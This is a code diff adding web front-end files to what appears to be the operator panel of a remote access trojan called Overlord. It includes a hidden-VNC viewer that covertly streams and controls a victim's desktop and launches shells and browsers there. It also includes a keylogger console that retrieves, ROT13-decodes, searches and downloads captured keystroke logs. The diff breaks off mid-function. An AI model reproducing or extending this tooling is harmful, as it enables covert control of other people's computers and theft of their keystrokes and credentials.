+
+ clearSelection();
+ setTimeout(() => listFiles(currentPath), 500);
+});
+
+clearSelectionBtn.addEventListener("click", clearSelection);
+
+contextMenu.querySelectorAll(".context-menu-item").forEach((item) => {
+ item.addEventListener("click", () => {
+ const action = item.dataset.action;
+ const path = contextMenu.dataset.path;
+ const isDir = contextMenu.dataset.isDir === "true";
+ const entry = { path, isDir };
+
+ contextMenu.classList.remove("show");
+ handleFileAction(action, entry);
+ });
+});
+
diff --git a/Overlord-Server/public/assets/hvnc.js b/Overlord-Server/public/assets/hvnc.js
new file mode 100644
index 0000000..a382644
--- /dev/null
+++ b/Overlord-Server/public/assets/hvnc.js
@@ -0,0 +1,620 @@
+import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
+
+(function () {
+ const clientId = new URLSearchParams(location.search).get("clientId");
+ if (!clientId) {
+ alert("Missing clientId");
+ return;
+ }
+ const clientLabel = document.getElementById("clientLabel");
+ clientLabel.textContent = clientId;
+
+ const ws = new WebSocket(
+ (location.protocol === "https:" ? "wss://" : "ws://") +
+ location.host +
+ "/api/clients/" +
+ clientId +
+ "/hvnc/ws",
+ );
+ const displaySelect = document.getElementById("displaySelect");
+ const refreshBtn = document.getElementById("refreshDisplays");
+ const startBtn = document.getElementById("startBtn");
+ const stopBtn = document.getElementById("stopBtn");
+ const commandsBtn = document.getElementById("commandsBtn");
+ const fullscreenBtn = document.getElementById("fullscreenBtn");
+ const mouseCtrl = document.getElementById("mouseCtrl");
+ const kbdCtrl = document.getElementById("kbdCtrl");
+ const cursorCtrl = document.getElementById("cursorCtrl");
+ const qualitySlider = document.getElementById("qualitySlider");
+ const qualityValue = document.getElementById("qualityValue");
+ const canvas = document.getElementById("frameCanvas");
+ const canvasContainer = document.getElementById("canvasContainer");
+ const contextMenu = document.getElementById("hvncContextMenu");
+ const ctx = canvas.getContext("2d");
+ const agentFps = document.getElementById("agentFps");
+ const viewerFps = document.getElementById("viewerFps");
+ const statusEl = document.getElementById("streamStatus");
+ ws.binaryType = "arraybuffer";
+
+ let activeClientId = clientId;
+ let renderCount = 0;
+ let renderWindowStart = performance.now();
+ let lastFrameAt = 0;
+ let desiredStreaming = false;
+ let streamState = "connecting";
+ let frameWatchTimer = null;
+ let offlineTimer = null;
+ let pendingMove = null;
+ let moveTimer = null;
+ let lastMoveSentAt = 0;
+ const mouseMoveIntervalMs = 33;
+ const inputBackpressureBytes = 256 * 1024;
+ setStreamState("connecting", "Connecting");
+
+ function updateFpsDisplay(agentValue) {
+ if (agentValue !== undefined && agentValue !== null && agentFps) {
+ agentFps.textContent = String(agentValue);
+ }
+ const now = performance.now();
+ renderCount += 1;
+ const elapsed = now - renderWindowStart;
+ if (elapsed >= 1000 && viewerFps) {
+ const fps = Math.round((renderCount * 1000) / elapsed);
+ viewerFps.textContent = String(fps);
+ renderCount = 0;
+ renderWindowStart = now;
+ }
+ }
+
+ function setStreamState(state, text) {
+ streamState = state;
+ if (statusEl) {
+ const icons = {
+ connecting: ' ',
+ starting: ' ',
+ stopping: ' ',
+ streaming: ' ',
+ idle: ' ',
+ stalled: ' ',
+ offline: ' ',
+ disconnected: ' ',
+ error: ' ',
+ };
+ const label = text ||
+ (state === "streaming" ? "Streaming" :
+ state === "starting" ? "Starting" :
+ state === "stopping" ? "Stopping" :
+ state === "offline" ? "Client offline" :
+ state === "disconnected" ? "Disconnected" :
+ state === "stalled" ? "No frames" :
+ state === "idle" ? "Stopped" :
+ "Connecting");
+
+ statusEl.innerHTML = `${icons[state] || icons.idle} ${label} `;
+ const base = "inline-flex items-center gap-2 px-3 py-2 rounded-full border text-sm";
+ const styles = {
+ streaming: "bg-violet-900/40 text-violet-100 border-violet-700/70",
+ starting: "bg-sky-900/40 text-sky-100 border-sky-700/70",
+ stopping: "bg-amber-900/40 text-amber-100 border-amber-700/70",
+ stalled: "bg-amber-900/40 text-amber-100 border-amber-700/70",
+ offline: "bg-rose-900/40 text-rose-100 border-rose-700/70",
+ error: "bg-rose-900/40 text-rose-100 border-rose-700/70",
+ disconnected: "bg-slate-800 text-slate-300 border-slate-700",
+ idle: "bg-slate-800 text-slate-300 border-slate-700",
+ connecting: "bg-slate-800 text-slate-300 border-slate-700",
+ };
+ statusEl.className = `${base} ${styles[state] || styles.idle}`;
+ }
+
+ if (canvasContainer) {
+ canvasContainer.dataset.streamState = state;
+ }
+
+ if (state === "idle" || state === "offline" || state === "disconnected" || state === "error") {
+ if (agentFps) agentFps.textContent = "--";
+ if (viewerFps) viewerFps.textContent = "--";
+ renderCount = 0;
+ renderWindowStart = performance.now();
+ }
+
+ updateControls();
+ }
+
+ function updateControls() {
+ const wsOpen = ws.readyState === WebSocket.OPEN;
+ const isStarting = streamState === "starting";
+ const isStreaming = streamState === "streaming";
+ const isStopping = streamState === "stopping";
+ const isBlocked = streamState === "offline" || streamState === "disconnected" || streamState === "error";
+
+ if (startBtn) {
+ startBtn.disabled = !wsOpen || isStarting || isStreaming || isStopping || isBlocked;
+ }
+ if (stopBtn) {
+ stopBtn.disabled = !wsOpen || (!isStarting && !isStreaming);
+ }
+ }
+
+ function clearOfflineTimer() {
+ if (offlineTimer) {
+ clearTimeout(offlineTimer);
+ offlineTimer = null;
+ }
+ }
+
+ function scheduleOffline(reason) {
+ clearOfflineTimer();
+ setStreamState("connecting", "Reconnecting");
+ offlineTimer = setTimeout(() => {
+ const now = performance.now();
+ if (!lastFrameAt || now - lastFrameAt > 3000) {
+ desiredStreaming = false;
+ setStreamState("offline", reason || "Client offline");
+ }
+ }, 3000);
+ }
+
+ function handleStatus(msg) {
+ if (!msg || msg.type !== "status" || !msg.status) return;
+ if (msg.status === "offline") {
+ scheduleOffline(msg.reason);
+ return;
+ }
+ if (msg.status === "connecting") {
+ clearOfflineTimer();
+ setStreamState("connecting", "Connecting");
+ return;
+ }
+ if (msg.status === "online") {
+ clearOfflineTimer();
+ if (desiredStreaming) {
+ setStreamState("starting", "Reconnecting");
+ if (displaySelect && displaySelect.value !== undefined) {
+ sendCmd("hvnc_select_display", {
+ display: parseInt(displaySelect.value, 10) || 0,
+ });
+ }
+ sendCmd("hvnc_start", {});
+ } else {
+ setStreamState("idle", "Stopped");
+ }
+ }
+ }
+
+ function sendCmd(type, payload) {
+ if (!activeClientId) {
+ console.warn("No active client selected");
+ return;
+ }
+ if (ws.readyState !== WebSocket.OPEN) {
+ return;
+ }
+ const msg = { type, ...payload };
+ console.debug("hvnc: send", msg);
+ ws.send(encodeMsgpack(msg));
+ }
+
+ let monitors = 1;
+
+ function populateDisplays(count) {
+ displaySelect.innerHTML = "";
+ monitors = count || 1;
+ for (let i = 0; i < monitors; i++) {
+ const opt = document.createElement("option");
+ opt.value = i;
+ opt.textContent = "Display " + (i + 1);
+ displaySelect.appendChild(opt);
+ }
+
+ if (displaySelect.options.length) {
+ displaySelect.value = displaySelect.options[0].value;
+ }
+ }
+
+ async function fetchClientInfo() {
+ try {
+ const res = await fetch("/api/clients");
+ const data = await res.json();
+ const client = data.items.find((c) => c.id === activeClientId);
+ if (client) {
+ clientLabel.textContent = `${client.host || client.id} (${client.os || ""})`;
+ }
+ if (client && client.monitors) {
+ populateDisplays(client.monitors);
+ }
+ } catch (e) {
+ console.warn("failed to fetch client info", e);
+ }
+ }
+
+ refreshBtn.addEventListener("click", fetchClientInfo);
+
+ function updateQualityLabel(val) {
+ if (qualityValue) {
+ qualityValue.textContent = `${val}%`;
+ }
+ }
+
+ function pushQuality(val) {
+ const q = Number(val) || 90;
+ const codec = q >= 100 ? "raw" : "jpeg";
+ console.debug("hvnc: pushQuality val=", val, "q=", q, "codec=", codec);
+ sendCmd("hvnc_set_quality", { quality: q, codec });
+ }
+
+ displaySelect.addEventListener("change", function () {
+ console.debug("hvnc: select display", displaySelect.value);
+ sendCmd("hvnc_select_display", {
+ display: parseInt(displaySelect.value, 10),
+ });
+ });
+
+ startBtn.addEventListener("click", function () {
+ if (displaySelect && displaySelect.value !== undefined) {
+ sendCmd("hvnc_select_display", {
+ display: parseInt(displaySelect.value, 10) || 0,
+ });
+ }
+ if (qualitySlider) {
+ pushQuality(qualitySlider.value);
+ }
+ desiredStreaming = true;
+ lastFrameAt = 0;
+ setStreamState("starting", "Starting stream");
+ sendCmd("hvnc_start", {});
+ });
+ stopBtn.addEventListener("click", function () {
+ desiredStreaming = false;
+ setStreamState("stopping", "Stopping stream");
+ sendCmd("hvnc_stop", {});
+ });
+ fullscreenBtn.addEventListener("click", function () {
+ if (canvasContainer.requestFullscreen) {
+ canvasContainer.requestFullscreen();
+ } else if (canvasContainer.webkitRequestFullscreen) {
+ canvasContainer.webkitRequestFullscreen();
+ } else if (canvasContainer.mozRequestFullScreen) {
+ canvasContainer.mozRequestFullScreen();
+ }
+ });
+ mouseCtrl.addEventListener("change", function () {
+ sendCmd("hvnc_enable_mouse", { enabled: mouseCtrl.checked });
+ });
+ kbdCtrl.addEventListener("change", function () {
+ sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked });
+ });
+ cursorCtrl.addEventListener("change", function () {
+ sendCmd("hvnc_enable_cursor", { enabled: cursorCtrl.checked });
+ });
+
+ if (qualitySlider) {
+ updateQualityLabel(qualitySlider.value);
+ qualitySlider.addEventListener("input", function () {
+ updateQualityLabel(qualitySlider.value);
+ pushQuality(qualitySlider.value);
+ });
+ }
+
+ ws.addEventListener("message", async function (ev) {
+ if (ev.data instanceof ArrayBuffer) {
+ const buf = new Uint8Array(ev.data);
+ if (buf.length >= 8 && buf[0] === 0x46 && buf[1] === 0x52 && buf[2] === 0x4d) {
+ const fps = buf[5];
+ const format = buf[6];
+ lastFrameAt = performance.now();
+ clearOfflineTimer();
+ if (streamState !== "streaming") {
+ desiredStreaming = true;
+ setStreamState("streaming", "Streaming");
+ }
+
+ if (format === 1) {
+ const jpegBytes = buf.slice(8);
+ const blob = new Blob([jpegBytes], { type: "image/jpeg" });
+ try {
+ const bitmap = await createImageBitmap(blob);
+ canvas.width = bitmap.width;
+ canvas.height = bitmap.height;
+ ctx.drawImage(bitmap, 0, 0);
+ bitmap.close();
+ updateFpsDisplay(fps);
+ } catch {
+ const img = new Image();
+ const url = URL.createObjectURL(blob);
+ img.onload = function () {
+ canvas.width = img.width;
+ canvas.height = img.height;
+ ctx.drawImage(img, 0, 0);
+ URL.revokeObjectURL(url);
+ updateFpsDisplay(fps);
+ };
+ img.src = url;
+ }
+ return;
+ }
+
+ if (format === 2 || format === 3) {
+ if (buf.length < 8 + 8) return;
+ const dv = new DataView(buf.buffer, 8);
+ let pos = 0;
+ const width = dv.getUint16(pos, true);
+ pos += 2;
+ const height = dv.getUint16(pos, true);
+ pos += 2;
+ const blockCount = dv.getUint16(pos, true);
+ pos += 2;
+ pos += 2;
+
+ if (
+ width > 0 &&
+ height > 0 &&
+ (canvas.width !== width || canvas.height !== height)
+ ) {
+ canvas.width = width;
+ canvas.height = height;
+ }
+ for (let i = 0; i < blockCount; i++) {
+ if (pos + 12 > dv.byteLength) break;
+ const x = dv.getUint16(pos, true);
+ pos += 2;
+ const y = dv.getUint16(pos, true);
+ pos += 2;
+ const w = dv.getUint16(pos, true);
+ pos += 2;
+ const h = dv.getUint16(pos, true);
+ pos += 2;
+ const len = dv.getUint32(pos, true);
+ pos += 4;
+ const start = 8 + pos;
+ const end = start + len;
+ if (end > buf.length) break;
+ const slice = buf.subarray(start, end);
+ pos += len;
+ if (format === 2) {
+ try {
+ const bitmap = await createImageBitmap(
+ new Blob([slice], { type: "image/jpeg" }),
+ );
+ ctx.drawImage(bitmap, x, y, w, h);
+ bitmap.close();
+ } catch {}
+ } else {
+ if (slice.length === w * h * 4) {
+ const imgData = new ImageData(new Uint8ClampedArray(slice), w, h);
+ ctx.putImageData(imgData, x, y);
+ }
+ }
+ }
+ updateFpsDisplay(fps);
+ return;
+ }
+ }
+
+ const msg = decodeMsgpack(buf);
+ if (msg && msg.type === "status" && msg.status) {
+ handleStatus(msg);
+ return;
+ }
+ return;
+ }
+
+ const msg = decodeMsgpack(ev.data);
+ if (msg && msg.type === "status" && msg.status) {
+ handleStatus(msg);
+ return;
+ }
+ });
+
+ ws.addEventListener("open", function () {
+ if (qualitySlider) {
+ pushQuality(qualitySlider.value);
+ }
+ clearOfflineTimer();
+ setStreamState("idle", "Stopped");
+ fetchClientInfo().then(() => {
+ if (displaySelect && displaySelect.value) {
+ console.debug("hvnc: initial select display", displaySelect.value);
+ sendCmd("hvnc_select_display", {
+ display: parseInt(displaySelect.value, 10),
+ });
+ }
+ });
+ });
+
+ ws.addEventListener("close", function () {
+ desiredStreaming = false;
+ setStreamState("disconnected", "Disconnected");
+ });
+
+ ws.addEventListener("error", function () {
+ setStreamState("error", "WebSocket error");
+ });
+
+ if (!frameWatchTimer) {
+ frameWatchTimer = setInterval(() => {
+ const now = performance.now();
+ if (desiredStreaming) {
+ if (lastFrameAt && now - lastFrameAt > 2000) {
+ setStreamState("stalled", "No frames");
+ } else if (!lastFrameAt && streamState === "starting") {
+ setStreamState("starting", "Starting stream");
+ }
+ } else if (streamState !== "offline" && streamState !== "disconnected" && streamState !== "error") {
+ if (streamState !== "idle") {
+ setStreamState("idle", "Stopped");
+ }
+ }
+ }, 1000);
+ }
+
+ function getCanvasPoint(e) {
+ let rect = canvas.getBoundingClientRect();
+ if (!rect.width || !rect.height) {
+ rect = canvasContainer?.getBoundingClientRect() || rect;
+ }
+ if (!rect.width || !rect.height || !canvas.width || !canvas.height) return null;
+ let x = ((e.clientX - rect.left) / rect.width) * canvas.width;
+ let y = ((e.clientY - rect.top) / rect.height) * canvas.height;
+ if (!Number.isFinite(x) || !Number.isFinite(y)) return null;
+ x = Math.max(0, Math.min(canvas.width - 1, Math.floor(x)));
+ y = Math.max(0, Math.min(canvas.height - 1, Math.floor(y)));
+ return { x, y };
+ }
+
+ function flushMouseMove() {
+ moveTimer = null;
+ if (!pendingMove || !mouseCtrl.checked) return;
+ const now = performance.now();
+ if (now - lastMoveSentAt < mouseMoveIntervalMs) {
+ if (!moveTimer) {
+ moveTimer = setTimeout(flushMouseMove, mouseMoveIntervalMs);
+ }
+ return;
+ }
+ lastMoveSentAt = now;
+ if (ws.bufferedAmount <= inputBackpressureBytes) {
+ sendCmd("hvnc_mouse_move", pendingMove);
+ }
+ }
+
+ canvas.addEventListener("mousemove", function (e) {
+ if (!mouseCtrl.checked) return;
+ const pt = getCanvasPoint(e);
+ if (!pt) return;
+ pendingMove = pt;
+ if (!moveTimer) {
+ flushMouseMove();
+ }
+ });
+ canvas.addEventListener("mousedown", function (e) {
+ if (!mouseCtrl.checked) return;
+ canvas.focus();
+ const pt = getCanvasPoint(e);
+ if (pt) {
+ pendingMove = pt;
+ if (ws.bufferedAmount <= inputBackpressureBytes) {
+ sendCmd("hvnc_mouse_move", pt);
+ }
+ }
+ sendCmd("hvnc_mouse_down", { button: e.button, ...(pt || {}) });
+ e.preventDefault();
+ });
+ canvas.addEventListener("mouseup", function (e) {
+ if (!mouseCtrl.checked) return;
+ const pt = getCanvasPoint(e);
+ if (pt) {
+ pendingMove = pt;
+ if (ws.bufferedAmount <= inputBackpressureBytes) {
+ sendCmd("hvnc_mouse_move", pt);
+ }
+ }
+ sendCmd("hvnc_mouse_up", { button: e.button, ...(pt || {}) });
+ e.preventDefault();
+ });
+ canvas.addEventListener("contextmenu", function (e) {
+ e.preventDefault();
+ });
+
+ canvas.addEventListener("wheel", function (e) {
+ if (!mouseCtrl.checked) return;
+ const pt = getCanvasPoint(e);
+ if (!pt) return;
+ const delta = Math.max(-120, Math.min(120, Math.round(-e.deltaY)));
+ sendCmd("hvnc_mouse_wheel", { delta, x: pt.x, y: pt.y });
+ e.preventDefault();
+ }, { passive: false });
+
+ canvas.setAttribute("tabindex", "0");
+ canvas.addEventListener("click", function () {
+ canvas.focus();
+ });
+ if (kbdCtrl) {
+ kbdCtrl.addEventListener("change", function () {
+ if (kbdCtrl.checked) {
+ canvas.focus();
+ }
+ });
+ }
+ canvas.addEventListener("keydown", function (e) {
+ if (!kbdCtrl.checked) return;
+ sendCmd("hvnc_key_down", { key: e.key, code: e.code });
+ e.preventDefault();
+ });
+ canvas.addEventListener("keyup", function (e) {
+ if (!kbdCtrl.checked) return;
+ sendCmd("hvnc_key_up", { key: e.key, code: e.code });
+ e.preventDefault();
+ });
+
+ function stopOnExit() {
+ if (ws.readyState === WebSocket.OPEN && desiredStreaming) {
+ desiredStreaming = false;
+ sendCmd("hvnc_stop", {});
+ }
+ }
+
+ window.addEventListener("beforeunload", stopOnExit);
+ window.addEventListener("pagehide", stopOnExit);
+
+ function hideContextMenu() {
+ if (!contextMenu) return;
+ contextMenu.classList.add("hidden");
+ }
+
+ function showContextMenuAt(x, y) {
+ if (!contextMenu) return;
+ contextMenu.style.left = `${x}px`;
+ contextMenu.style.top = `${y}px`;
+ contextMenu.classList.remove("hidden");
+ }
+
+ document.addEventListener("click", (e) => {
+ if (!contextMenu) return;
+ if (commandsBtn && commandsBtn.contains(e.target)) {
+ return;
+ }
+ if (!contextMenu.contains(e.target)) {
+ hideContextMenu();
+ }
+ });
+
+ if (commandsBtn) {
+ commandsBtn.addEventListener("click", (e) => {
+ e.preventDefault();
+ e.stopPropagation();
+ const rect = commandsBtn.getBoundingClientRect();
+ showContextMenuAt(rect.left, rect.bottom + 6);
+ });
+ }
+
+ if (contextMenu) {
+ contextMenu.querySelectorAll("[data-action]").forEach((item) => {
+ item.addEventListener("click", (e) => {
+ const action = e.currentTarget?.dataset?.action;
+ if (action === "start-cmd") {
+ sendCmd("hvnc_start_process", { path: "conhost cmd.exe" });
+ } else if (action === "start-powershell") {
+ sendCmd("hvnc_start_process", { path: "conhost powershell.exe" });
+ } else if (action === "start-chrome") {
+ sendCmd("hvnc_start_process", { path: "c:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" });
+ } else if (action === "start-brave") {
+ sendCmd("hvnc_start_process", { path: "c:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe" });
+ } else if (action === "start-edge") {
+ sendCmd("hvnc_start_process", { path: "c:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" });
+ } else if (action === "start-custom") {
+ const exePath = prompt("Enter exe path (required)");
+ if (!exePath) {
+ hideContextMenu();
+ return;
+ }
+ const args = prompt("Enter arguments (optional)") || "";
+ const cmd = args.trim() ? `\"${exePath}\" ${args}` : `\"${exePath}\"`;
+ sendCmd("hvnc_start_process", { path: cmd });
+ }
+ hideContextMenu();
+ });
+ });
+ }
+
+ fetchClientInfo();
+})();
diff --git a/Overlord-Server/public/assets/initial-loader.js b/Overlord-Server/public/assets/initial-loader.js
new file mode 100644
index 0000000..8de5c96
--- /dev/null
+++ b/Overlord-Server/public/assets/initial-loader.js
@@ -0,0 +1,50 @@
+(function () {
+ const start = Date.now();
+ const minVisibleMs = 900;
+ const state = { progress: 0, done: false, raf: 0 };
+
+ function updateProgress(target) {
+ state.progress += (target - state.progress) * 0.08;
+ if (state.progress > 99.4 && !state.done) {
+ state.progress = 99.4;
+ }
+ const value = Math.max(0, Math.min(100, Math.floor(state.progress)));
+ const pctEl = document.getElementById("app-loader-pct");
+ const barEl = document.getElementById("app-loader-bar");
+ if (pctEl) pctEl.textContent = `${value}%`;
+ if (barEl) barEl.style.width = `${value}%`;
+ }
+
+ function loop() {
+ const target = state.done ? 100 : 92;
+ updateProgress(target);
+
+ if (state.done && state.progress >= 99.7) {
+ const root = document.documentElement;
+ root.classList.add("app-ready");
+ window.setTimeout(() => {
+ const overlay = document.getElementById("app-loader");
+ overlay?.remove();
+ }, 520);
+ return;
+ }
+ state.raf = window.requestAnimationFrame(loop);
+ }
+
+ function finish() {
+ state.done = true;
+ const elapsed = Date.now() - start;
+ const wait = Math.max(0, minVisibleMs - elapsed);
+ window.setTimeout(() => {
+ if (!state.raf) {
+ state.raf = window.requestAnimationFrame(loop);
+ }
+ }, wait);
+ }
+
+ document.addEventListener("DOMContentLoaded", () => {
+ state.raf = window.requestAnimationFrame(loop);
+ });
+
+ window.addEventListener("load", finish, { once: true });
+})();
diff --git a/Overlord-Server/public/assets/keylogger.js b/Overlord-Server/public/assets/keylogger.js
new file mode 100644
index 0000000..c625102
--- /dev/null
+++ b/Overlord-Server/public/assets/keylogger.js
@@ -0,0 +1,715 @@
+import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
+
+const clientId = window.location.pathname.split("/")[1];
+if (!clientId) {
+ alert("Missing clientId");
+ location.href = "/";
+}
+
+const clientLabel = document.getElementById("clientLabel");
+const statusPill = document.getElementById("status-pill");
+const fileList = document.getElementById("file-list");
+const refreshBtn = document.getElementById("refreshBtn");
+const clearBtn = document.getElementById("clearBtn");
+const logViewer = document.getElementById("log-viewer");
+const logContent = document.getElementById("log-content");
+const viewingFilename = document.getElementById("viewing-filename");
+const closeViewerBtn = document.getElementById("closeViewerBtn");
+const logLines = document.getElementById("log-lines");
+const logChars = document.getElementById("log-chars");
+const logUpdated = document.getElementById("log-updated");
+const searchInput = document.getElementById("searchInput");
+const clearSearchBtn = document.getElementById("clearSearchBtn");
+const searchNav = document.getElementById("searchNav");
+const searchCount = document.getElementById("searchCount");
+const prevMatchBtn = document.getElementById("prevMatchBtn");
+const nextMatchBtn = document.getElementById("nextMatchBtn");
+const searchAllBtn = document.getElementById("searchAllBtn");
+const globalSearchModal = document.getElementById("globalSearchModal");
+const closeGlobalSearchBtn = document.getElementById("closeGlobalSearchBtn");
+const globalSearchInput = document.getElementById("globalSearchInput");
+const globalSearchClearBtn = document.getElementById("globalSearchClearBtn");
+const globalSearchResults = document.getElementById("globalSearchResults");
+const globalSearchStats = document.getElementById("globalSearchStats");
+const globalSearchProgress = document.getElementById("globalSearchProgress");
+const globalSearchCount = document.getElementById("globalSearchCount");
+
+let ws = null;
+let fileIndex = new Map();
+let pendingDownload = null;
+let currentLogContent = "";
+let searchMatches = [];
+let currentMatchIndex = -1;
+let globalSearchCache = new Map();
+let globalSearchAbortController = null;
+
+clientLabel.textContent = clientId;
+
+function updateStatus(className, text) {
+ statusPill.className = `pill ${className}`;
+ statusPill.textContent = text;
+}
+
+function connect() {
+ const protocol = window.location.protocol === "https:" ? "wss:" : "ws:";
+ const wsUrl = `${protocol}//${window.location.host}/api/clients/${clientId}/keylogger/ws`;
+
+ ws = new WebSocket(wsUrl);
+ ws.binaryType = "arraybuffer";
+
+ ws.onopen = () => {
+ console.log("Keylogger connected");
+ updateStatus("pill-online", "Connected");
+ requestFileList();
+ };
+
+ ws.onmessage = (event) => {
+ const msg = decodeMsgpack(event.data);
+ if (!msg) {
+ console.error("Failed to decode message");
+ return;
+ }
+ handleMessage(msg);
+ };
+
+ ws.onerror = (err) => {
+ console.error("WebSocket error:", err);
+ updateStatus("pill-offline", "Connection Error");
+ };
+
+ ws.onclose = () => {
+ console.log("Keylogger disconnected");
+ updateStatus("pill-offline", "Disconnected");
+ setTimeout(() => connect(), 3000);
+ };
+}
+
+function send(msg) {
+ if (ws && ws.readyState === WebSocket.OPEN) {
+ ws.send(encodeMsgpack(msg));
+ }
+}
+
+function handleMessage(msg) {
+ console.log("Received:", msg.type);
+
+ switch (msg.type) {
+ case "ready":
+ console.log("Keylogger session ready");
+ break;
+ case "status":
+ if (msg.status === "offline") {
+ updateStatus("pill-offline", "Client Offline");
+ }
+ break;
+ case "keylog_file_list":
+ displayFileList(msg.files || []);
+ break;
+ case "keylog_file_content":
+ if (pendingDownload && msg.filename === pendingDownload) {
+ downloadLog(msg.filename, msg.content);
+ pendingDownload = null;
+ } else {
+ displayFileContent(msg.filename, msg.content);
+ }
+ break;
+ case "keylog_clear_result":
+ if (msg.ok) {
+ window.showToast("All logs cleared successfully", "success");
+ setTimeout(() => {
+ window.location.reload();
+ }, 1000);
+ } else {
+ window.showToast(msg.error || "Failed to clear logs", "error");
+ }
+ break;
+ case "keylog_delete_result":
+ if (msg.ok) {
+ window.showToast(`Deleted ${msg.filename}`, "success");
+ requestFileList();
+ } else {
+ window.showToast(msg.error || "Failed to delete log", "error");
+ }
+ break;
+ case "command_result":
+ if (!msg.ok) {
+ window.showToast(msg.message || "Command failed", "error");
+ }
+ break;
+ default:
+ console.log("Unknown message type:", msg.type);
+ }
+}
+
+function requestFileList() {
+ send({ type: "keylog_list" });
+}
+
+function requestFileContent(filename) {
+ send({ type: "keylog_retrieve", filename });
+}
+
+function requestClearAll() {
+ send({ type: "keylog_clear_all" });
+}
+
+function requestDeleteFile(filename) {
+ send({ type: "keylog_delete", filename });
+}
+
+function downloadLog(filename, content) {
+ const decoded = rot13Decode(content || "");
+ const blob = new Blob([decoded], { type: "text/plain;charset=utf-8" });
+ const url = URL.createObjectURL(blob);
+ const link = document.createElement("a");
+ link.href = url;
+ link.download = filename.replace(/\.log$/i, "") + "-decoded.txt";
+ document.body.appendChild(link);
+ link.click();
+ link.remove();
+ URL.revokeObjectURL(url);
+}
+
+function displayFileList(files) {
+ const sortedFiles = (files || []).slice().sort((a, b) => {
+ const aTime = a?.date ? new Date(a.date).getTime() : 0;
+ const bTime = b?.date ? new Date(b.date).getTime() : 0;
+ return bTime - aTime;
+ });
+
+ fileIndex = new Map(sortedFiles.map((f) => [f.name, f]));
+ if (!sortedFiles || sortedFiles.length === 0) {
+ fileList.innerHTML = `
+
+ `;
+ return;
+ }
+
+ fileList.innerHTML = sortedFiles
+ .map(
+ (file) => `
+
+
+
+
+
+
+
${escapeHtml(file.name)}
+
+
+
+ ${formatBytes(file.size)}
+
+
+
+ ${formatDate(file.date)}
+
+
+
+
+
+
+
+ View
+
+
+
+ Download
+
+
+
+ Delete
+
+
+
+ `
+ )
+ .join("");
+}
+
+function displayFileContent(filename, content) {
+ logViewer.classList.remove("hidden");
+ viewingFilename.textContent = filename;
+ const decoded = rot13Decode(content || "");
+ currentLogContent = decoded;
+ logContent.innerHTML = renderLogHtml(decoded);
+ const lineCount = decoded ? decoded.split("\n").length : 0;
+ logLines.textContent = `Lines: ${lineCount}`;
+ logChars.textContent = `Chars: ${decoded.length}`;
+ const meta = fileIndex.get(filename);
+ logUpdated.textContent = `Updated: ${meta?.date ? formatDate(meta.date) : "-"}`;
+ logContent.scrollTop = 0;
+ resetSearch();
+}
+
+function renderLogHtml(text) {
+ const escaped = escapeHtml(text);
+ const withTimestamps = escaped.replace(
+ /\[(\d{4}-\d{2}-\d{2}\s\d{2}:\d{2}:\d{2})\]/g,
+ '[$1] '
+ );
+ const withWindowTitles = withTimestamps.replace(
+ /\]\s\[([^\]]+?)\](?=\s)/g,
+ '] [$1] '
+ );
+ const withKeys = withWindowTitles.replace(
+ /\[(?!\d{4}-\d{2}-\d{2})([^\]]+)\]/g,
+ '[$1] '
+ );
+ return withKeys;
+}
+
+function rot13Decode(str) {
+ return str.replace(/[a-zA-Z]/g, (char) => {
+ const start = char <= "Z" ? 65 : 97;
+ return String.fromCharCode(
+ ((char.charCodeAt(0) - start + 13) % 26) + start
+ );
+ });
+}
+
+function formatBytes(bytes) {
+ if (bytes === 0) return "0 B";
+ const k = 1024;
+ const sizes = ["B", "KB", "MB", "GB"];
+ const i = Math.floor(Math.log(bytes) / Math.log(k));
+ return Math.round(bytes / Math.pow(k, i) * 100) / 100 + " " + sizes[i];
+}
+
+function formatDate(dateStr) {
+ if (!dateStr) return "Unknown";
+ const date = new Date(dateStr);
+ return date.toLocaleDateString() + " " + date.toLocaleTimeString();
+}
+
+function escapeHtml(text) {
+ const div = document.createElement("div");
+ div.textContent = text || "";
+ return div.innerHTML;
+}
+
+function resetSearch() {
+ searchInput.value = "";
+ searchMatches = [];
+ currentMatchIndex = -1;
+ clearSearchBtn.classList.add("hidden");
+ searchNav.classList.add("hidden");
+ if (currentLogContent) {
+ logContent.innerHTML = renderLogHtml(currentLogContent);
+ }
+}
+
+function performSearch(query) {
+ if (!query || !currentLogContent) {
+ resetSearch();
+ return;
+ }
+
+ const lowerQuery = query.toLowerCase();
+ const lowerContent = currentLogContent.toLowerCase();
+ searchMatches = [];
+
+ let index = 0;
+ while ((index = lowerContent.indexOf(lowerQuery, index)) !== -1) {
+ searchMatches.push(index);
+ index += query.length;
+ }
+
+ if (searchMatches.length > 0) {
+ currentMatchIndex = 0;
+ highlightMatches(query);
+ scrollToMatch(0);
+ updateSearchUI();
+ } else {
+ logContent.innerHTML = renderLogHtml(currentLogContent);
+ searchCount.textContent = "0 / 0";
+ searchNav.classList.remove("hidden");
+ prevMatchBtn.disabled = true;
+ nextMatchBtn.disabled = true;
+ }
+
+ clearSearchBtn.classList.remove("hidden");
+}
+
+function highlightMatches(query) {
+ const escaped = escapeHtml(currentLogContent);
+ const regex = new RegExp(escapeRegex(query), "gi");
+ let result = escaped.replace(regex, (match, offset) => {
+ const matchIndex = searchMatches.indexOf(currentLogContent.toLowerCase().indexOf(match.toLowerCase(), offset));
+ const isCurrent = matchIndex === currentMatchIndex;
+ return `${match} `;
+ });
+
+ // Apply syntax highlighting
+ result = result.replace(
+ /\[(\d{4}-\d{2}-\d{2}\s\d{2}:\d{2}:\d{2})\]/g,
+ '[$1] '
+ );
+ result = result.replace(
+ /\]\s\[([^\]]+?)\](?=\s)/g,
+ '] [$1] '
+ );
+
+ logContent.innerHTML = result;
+}
+
+function escapeRegex(str) {
+ return str.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
+}
+
+function scrollToMatch(index) {
+ const marks = logContent.querySelectorAll("mark");
+ if (marks[index]) {
+ marks[index].scrollIntoView({ behavior: "smooth", block: "center" });
+ }
+}
+
+function updateSearchUI() {
+ searchNav.classList.remove("hidden");
+ searchCount.textContent = `${currentMatchIndex + 1} / ${searchMatches.length}`;
+ prevMatchBtn.disabled = currentMatchIndex === 0;
